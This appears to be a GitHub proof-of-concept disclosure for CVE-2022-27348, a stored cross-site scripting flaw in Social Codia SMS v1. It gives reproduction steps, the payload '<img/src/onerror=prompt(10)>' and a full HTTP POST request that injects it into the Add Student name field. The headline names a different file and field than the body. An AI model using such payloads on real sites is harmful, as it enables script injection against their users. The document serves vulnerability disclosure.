Headline
CVE-2022-27348: GitHub - D4rkP0w4r/sms-Add_Student-Stored_XSS-POC
Social Codia SMS v1 was discovered to contain a stored cross-site scripting (XSS) vulnerability via add_post.php. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Post Title text field.
sms-Add_Student-Stored_XSS-POC
Description => Stored_XSS at Add Student
Step to Reproduct
- Login to admin ->
Students->Add Student-> input payload<img/src/onerror=prompt(10)>atEnter Name
Exploit
Vulnerable Code
- When inserting into the database, the input is not filtered out bad characters
POC
Injection Point
------WebKitFormBoundaryAvKt9LM2RnnkuA0K Content-Disposition: form-data; name="name"
<img/src/onerror=prompt(10)>
Request
POST /sms/admin/addstudent.php HTTP/1.1 Host: localhost:8080 Content-Length: 992 Cache-Control: max-age=0 sec-ch-ua: "(Not(A:Brand";v="8", “Chromium";v="99” sec-ch-ua-mobile: ?0 sec-ch-ua-platform: “Windows” Upgrade-Insecure-Requests: 1 Origin: http://localhost:8080 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAvKt9LM2RnnkuA0K User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost:8080/sms/admin/addstudent.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=p440fhd7svqid5f063i3epg29k Connection: close
------WebKitFormBoundaryAvKt9LM2RnnkuA0K Content-Disposition: form-data; name="image"; filename="car.png" Content-Type: application/octet-stream
------WebKitFormBoundaryAvKt9LM2RnnkuA0K Content-Disposition: form-data; name="rollno"
1234567 ------WebKitFormBoundaryAvKt9LM2RnnkuA0K Content-Disposition: form-data; name="name"
<img/src/onerror=prompt(10)> ------WebKitFormBoundaryAvKt9LM2RnnkuA0K Content-Disposition: form-data; name="contact"
123456 ------WebKitFormBoundaryAvKt9LM2RnnkuA0K Content-Disposition: form-data; name="standerd"
1 ------WebKitFormBoundaryAvKt9LM2RnnkuA0K Content-Disposition: form-data; name="city"
Newyork ------WebKitFormBoundaryAvKt9LM2RnnkuA0K Content-Disposition: form-data; name="email"
[email protected] ------WebKitFormBoundaryAvKt9LM2RnnkuA0K Content-Disposition: form-data; name="gender"
male ------WebKitFormBoundaryAvKt9LM2RnnkuA0K Content-Disposition: form-data; name="submit"
------WebKitFormBoundaryAvKt9LM2RnnkuA0K–
POC VIDEO https://drive.google.com/file/d/1PLRmIi7EBMAXkLMUhUy09PVph1CW6otF/view?usp=sharing